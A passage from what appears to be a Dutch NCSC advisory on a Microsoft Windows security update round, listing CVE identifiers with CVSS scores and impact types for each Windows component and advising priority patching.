schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: 